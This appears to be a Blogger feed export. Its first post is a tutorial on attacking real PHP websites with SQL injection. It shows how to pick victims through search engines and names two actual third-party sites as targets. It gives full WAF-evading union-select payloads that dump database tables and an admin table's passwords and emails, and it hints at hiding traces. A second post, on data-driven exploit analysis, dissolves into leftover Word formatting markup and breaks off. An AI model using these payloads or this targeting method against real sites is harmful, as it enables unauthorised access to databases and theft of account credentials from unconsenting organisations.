tag:blogger.com,1999:blog-41092471454760324802024-02-07T14:55:01.067-08:00Code Hacking | By NeotericUnknownnoreply@blogger.comBlogger29125tag:blogger.com,1999:blog-4109247145476032480.post-69079323262785137902017-04-04T04:30:00.000-07:002017-04-04T04:30:50.729-07:00Hacking PHP Website using SQL Injection<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Guys,<br />
<br />
Recently, I tried my hands on with performing SQL injection on PHP websites.<br />
<br />
So lets talk about SQL Injection first.<br />
<br />
<div style="background-color: #eeeeee; border: 0px; box-sizing: border-box; color: #555555; font-family: "Gotham SSm A", "Gotham SSm B", Helvetica, Arial, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: 1.3; margin-bottom: 10px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: 700; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">SQL injection (SQLi)</span> is an application security weakness that allows attackers to control an application’s database – letting them access or delete data, change an application’s data-driven behavior, and do other undesirable things – by tricking the application into sending unexpected SQL commands.</div>
<div style="background-color: #eeeeee; border: 0px; box-sizing: border-box; color: #555555; font-family: "Gotham SSm A", "Gotham SSm B", Helvetica, Arial, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: 1.3; margin-bottom: 10px; padding: 0px; vertical-align: baseline;">
SQL injection weaknesses occur when an application uses untrusted data, such as data entered into web form fields, as part of a database query. When an application fails to properly sanitize this untrusted data before adding it to a SQL query, an attacker can include their own SQL commands which the database will execute. Such SQLi vulnerabilities are easy to prevent, yet SQLi remains a leading web application risk, and many organizations remain vulnerable to potentially damaging data breaches resulting from SQL injection.</div>
<br />
If you are not aware of SQL please practice SQL <a href="https://www.tutorialspoint.com/execute_sql_online.php" target="_blank">here</a>, and if you are not aware of basic SQL Injection practice <a href="http://sqlzoo.net/hack/" target="_blank">here</a><br />
<br />
But, what many websites fail to mention is the possibility of Web Application Firewall(WAF). So, WAF is the first level of filtering which defines the conversion rules for HTML content and HTTP/HTTPS requests. If a HTML content or Network Request contains any script tags or sql queries or unwanted keywords, the same gets rejected at the very first level by the WAF. for more knowledge please refer <a href="https://www.owasp.org/index.php/Web_Application_Firewall" target="_blank">https://www.owasp.org/index.php/Web_Application_Firewall</a><br />
<br />
In our case because we will be playing with the GET request of a web page a lot by passing a WAF is extremely important.<br />
<br />
Step 1: how to choose a victim?<br />
<ul style="text-align: left;">
<li>go to www.google.com and type .php?id=1<br />The reason to perform this operation is to find out victims</li>
<li>Now, out so thousands how do you choose choose a victim, simply by checking is an SQL exception is not handled by the user at the top end and to do that simply at <b>' </b>at the end of the request. For example:<br />1. <a href="http://www.teamgear.us/store.php?id=1%27" target="_blank">link1</a><br />2. <a href="http://www.rgcms.edu.in/research.php?id=1%27" target="_blank">link2</a><br /></li>
<li>I have done my homework on <a href="http://www.rgcms.edu.in/research.php?id=1%27" target="_blank">link2</a> so i'll pick up this as my victim, because the error here is bloody clear which is great for troubleshooting..!! :D<br /></li>
<li>So <span style="background-color: black;">the most important concepts which we are exploiting here is the independence to use stacked commands</span> which is allowed in MySQL, and because the server runs on MySQL this will be our ideal target<br /></li>
<li>Lets try to modify the link to such that it looks like this <DOMAIN>/research.php?id%3D-1%20and%20select%20*%20from%20admin and observer that there is an exception given to us but it's not from MySQL it's from Mod Security(<a href="https://modsecurity.org/" target="_blank">https://modsecurity.org/</a>) which is an open source WAF<br /></li>
<li>Now how do we by pass it, i found that Mod Security was not only able to identify SQL strings such as union, select, from etc. but it was also able to identify the same if they were hexed. So what do i do now? I found that you can use PHP comment tags in between to confuse Mod Security into believing that the string coming to it is safe to execute. BOOM..!!<br /></li>
<li><span style="background-color: black;">Now Try this, So to list all tables in our DB here we can <DOMAIN>/....php?id=</span><span style="font-family: Arial, sans-serif; font-size: 13px;"><span style="background-color: black;">.1+/*!50000union*/+select+concat/**/(0x3c62723e496e6a6563746564204279204a41434b3c62723e56657273696f6e203a3a20,version(),0x3c62723e4461746162617365203a3a20,database(),0x3c62723e55736572203a3a20,user(),(SELECT concat/**/(@x:=0x00,if((SELECT count(*) from /*!00000information_schema.columns*/ where table_schema=database() and @x:=concat/**/(@x,0x3c62723e,database(),0x203a3a20,table_name,0x203a3a20,column_name)),0x00,0x00),@x))),22222,33333,444444--+-</span></span><br />It will be great to first understand what this command is doing and the use of union is the best way to execute custom query keeping in mind the number of columns in the preceding query. Awesome now you can see all it's tables (check out the below screenshot)<br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvChn2xU1Ycye_XwWS6JecHBijmFXcDK2nVQ6-ZS46JsTLX7kU9iu-YahKn1zjWY4ctCBLqjvLx_6r7ypjLs-G5cC2PCvYaeuBRHR6R85_lOFqS4QmqCKzzu8rj_lg9MlBTDztU7G44gE/s1600/dead.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvChn2xU1Ycye_XwWS6JecHBijmFXcDK2nVQ6-ZS46JsTLX7kU9iu-YahKn1zjWY4ctCBLqjvLx_6r7ypjLs-G5cC2PCvYaeuBRHR6R85_lOFqS4QmqCKzzu8rj_lg9MlBTDztU7G44gE/s320/dead.png" width="248" /></a></li>
<li>Now that you have the information about all the DB let's start digging data from this DB. So, I tried to read from the Admin Table where I can see the Username, password, email_address and First Name, Last Names, and how do you do that just tweak the above query to match your requirements like in my case it is<br /><DOMAIN>/.....php?id=.1+/*!50000union*/+%28/*!50000select*/%20password%20,admin_fname,admin_lname,%20email_address%20/*!50000from*/%20admin%29 and look what I got<br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqUQsu5f1tGUqfmRPfPois_y0-zLg6lVfqxwT_DmRmbcBx09w6QoqLEusDECLNoDXiFJb9OUj6ZTVrNOj2-3SmuUfgeQRCJ0bN8CGq3ZSnk6urqWwWuo-uCJzFPa88GXnBnUDOIOnPGBg/s1600/dead2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="93" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqUQsu5f1tGUqfmRPfPois_y0-zLg6lVfqxwT_DmRmbcBx09w6QoqLEusDECLNoDXiFJb9OUj6ZTVrNOj2-3SmuUfgeQRCJ0bN8CGq3ZSnk6urqWwWuo-uCJzFPa88GXnBnUDOIOnPGBg/s320/dead2.png" width="320" /></a></li>
<li>This is the encrypted password stored into the database ,... WOW..!! :D Well I know MySQL passwords are not passwords but hashes and are hard to Decrypt, but if you get to know a technique do let me know :)<br /></li>
<li>Now People usually end up INSERTing into the DB which can be bad because they would end up leaving a rather more noticeable trace, I'm sure you'll find a work around to that :D</li>
</ul>
<div>
Please comment and share if you found this helpful :)</div>
<div>
<br /></div>
<div>
Cheers..!! </div>
<br />
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-8469940838329185582017-02-12T00:26:00.000-08:002017-02-12T00:33:42.524-08:00Must Have Data-Driven Software Defense Strategy to Identify Vulnerable Code <div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="SectionTitle">
<a href="https://www.blogger.com/null" name="_Toc468283485">Abstract</a><o:p></o:p></div>
<div class="MsoNoSpacing" style="line-height: 150%;">
“Security mitigation planning is the process of developing options and actions to enhance experience and reduce threats to the project objectives.”<span style="mso-spacerun: yes;"> </span>Although Security Bulletins and Exploitability Indexes help customers to assess potential risks but these reactive measures are not enough. With every security mitigation shipped there is an investment associated to increase the cost to exploit the same vulnerability. Hence, root cause analysis of vulnerability plays a vital role in defining a security mitigation, this is where data analytics on historical vulnerability reports and evaluation of Exploits/POCs/Zero Days becomes critical. <o:p></o:p></div>
<div class="MsoNoSpacing" style="line-height: 150%;">
In this talk I will elaborate Multi-Level Exploit Analysis process; organizations must have and use before planning any security mitigation in application code or custom memory managers. These strategies are well thought of and are manifestation of suggestions from chief organizations such as Microsoft. Incorporating this strategy is a great value addition and following actions can help organizations and individuals significantly reduce the risk they face from Zero day exploits.<o:p></o:p></div>
<div class="MsoNormal" style="text-indent: 0in;">
<br /></div>
<div class="MsoNormal" style="text-indent: 0in;">
<em><span style="mso-ascii-font-family: "Times New Roman"; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-hansi-font-family: "Times New Roman"; mso-hansi-theme-font: minor-latin;">Keywords</span></em>:<span style="mso-spacerun: yes;"> </span>Multi-Level Exploit Analysis, Vulnerability Analysis, Data Analytics on Security Mitigation, Data-Driven Strategy, Mitigation Progress Monitoring<o:p></o:p></div>
<div class="SectionTitle">
<a href="https://www.blogger.com/null" name="_Toc468283486"></a><w:sdt docpart="EFD404817F2C66469E3183E3509B8726" id="-1756435886" multiline="t" prefixmappings="xmlns:ns0='http://purl.org/dc/elements/1.1/' xmlns:ns1='http://schemas.openxmlformats.org/package/2006/metadata/core-properties' " storeitemid="X_6C3C8BC8-F283-45AE-878A-BAB7291924A1" text="t" title="Title" xpath="/ns1:coreProperties[1]/ns0:title[1]"><span style="mso-bookmark: _Toc468283486;"><b style="mso-bidi-font-weight: normal;">Must Have Data-Driven Software Defense Strategy to Identify Vulnerable Code:</b></span></w:sdt><span style="mso-bookmark: _Toc468283486;"></span><o:p></o:p></div>
<div class="MsoNormal" style="line-height: 150%; text-indent: 0in;">
<span style="font-size: 11.0pt; line-height: 150%;">Security is always relative to the information and services being protected, the skills and resources of adversaries, and the costs of potential assurance remedies via mitigation technique. In Modern era where the profit motive underlies most malicious exploitation activity, effective risk management becomes fundamental. Although 99% of the bugs are caught using functional, Blackbox testing and advanced techniques such as fuzzing and static code analysis, it is this 1% which are difficult to discover for testers and extremely valuable for exploits.<o:p></o:p></span></div>
<h1>
<o:p> </o:p></h1>
<h1>
<a href="https://www.blogger.com/null" name="_Toc468283487">Multi-Dimensional Exploit Analysis:</a><o:p></o:p></h1>
<div class="MsoNormal" style="line-height: 150%; text-indent: 0in;">
<span style="font-size: 11.0pt; line-height: 150%;">At Blackhat 2016 (USA), Microsoft Presented <i style="mso-bidi-font-style: normal;">Data-Driven Software Defense Process</i> illustrating an overview on what strategy organizations should use to identify root cause and perform data analytics on historical data.<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center; text-indent: 0in;">
<span style="mso-fareast-language: EN-US; mso-no-proof: yes;"><!--[if gte vml 1]><v:shapetype
id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"
path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
<v:stroke joinstyle="miter"/>
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
<v:f eqn="sum @0 1 0"/>
<v:f eqn="sum 0 0 @1"/>
<v:f eqn="prod @2 1 2"/>
<v:f eqn="prod @3 21600 pixelWidth"/>
<v:f eqn="prod @3 21600 pixelHeight"/>
<v:f eqn="sum @0 0 1"/>
<v:f eqn="prod @6 1 2"/>
<v:f eqn="prod @7 21600 pixelWidth"/>
<v:f eqn="sum @8 21600 0"/>
<v:f eqn="prod @7 21600 pixelHeight"/>
<v:f eqn="sum @10 21600 0"/>
</v:formulas>
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
<o:lock v:ext="edit" aspectratio="t"/>
</v:shapetype><v:shape id="Picture_x0020_1" o:spid="_x0000_i1029" type="#_x0000_t75"
style='width:383pt;height:219pt;visibility:visible;mso-wrap-style:square'>
<v:imagedata src="file://localhost/Users/labuser/Library/Group%20Containers/UBF8T346G9.Office/msoclip1/01/clip_image001.png"
o:title=""/>
</v:shape><![endif]--><!--[if !vml]--><!--[endif]--></span><o:p></o:p></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3Rj09sEUPfi03xN2U5h_y9T1aKsvT1lCJ8ZR82ImtX1Sbtl3AvVlQm-u8a4Z2DtzI6smrtP3jAVV4vQGFMm-fL-zEdT9F6lWbWyqVPvw-x7zSM8MR0BkpiWn6xpj1sX4qXlqz4ObAHiw/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3Rj09sEUPfi03xN2U5h_y9T1aKsvT1lCJ8ZR82ImtX1Sbtl3AvVlQm-u8a4Z2DtzI6smrtP3jAVV4vQGFMm-fL-zEdT9F6lWbWyqVPvw-x7zSM8MR0BkpiWn6xpj1sX4qXlqz4ObAHiw/s320/1.png" width="320" /></a></div>
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--> <!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves>false</w:TrackMoves>
<w:TrackFormatting/>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>EN-US</w:LidThemeOther>
<w:LidThemeAsian>ZH-CN</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
<w:UseFELayout/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="false"
DefSemiHidden="false" DefQFormat="false" DefPriority="99"
LatentStyleCount="381">
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="4" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="4" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="4" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="4" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index 9"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" Name="toc 9"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footnote text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="header"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footer"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="index heading"/>
<w:LsdException Locked="false" Priority="35" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="table of figures"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="envelope address"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="envelope return"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="footnote reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="line number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="page number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="endnote reference"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="endnote text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="table of authorities"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="macro"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="toa heading"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Bullet 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Number 5"/>
<w:LsdException Locked="false" Priority="10" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Closing"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Signature"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="true"
UnhideWhenUsed="true" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="List Continue 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Message Header"/>
<w:LsdException Locked="false" Priority="11" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Salutation"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Date"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text First Indent"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text First Indent 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Note Heading"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Body Text Indent 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Block Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Hyperlink"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="FollowedHyperlink"/>
<w:LsdException Locked="false" Priority="22" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Document Map"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Plain Text"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="E-mail Signature"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Top of Form"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Bottom of Form"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal (Web)"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Acronym"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Address"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Cite"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Code"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Definition"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Keyboard"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Preformatted"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Sample"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Typewriter"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="HTML Variable"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Normal Table"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="annotation subject"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="No List"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Outline List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Simple 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Classic 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Colorful 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Columns 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Grid 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 4"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 5"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 7"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table List 8"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table 3D effects 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Contemporary"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Elegant"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Professional"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Subtle 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Subtle 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 1"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 2"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Table Web 3"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
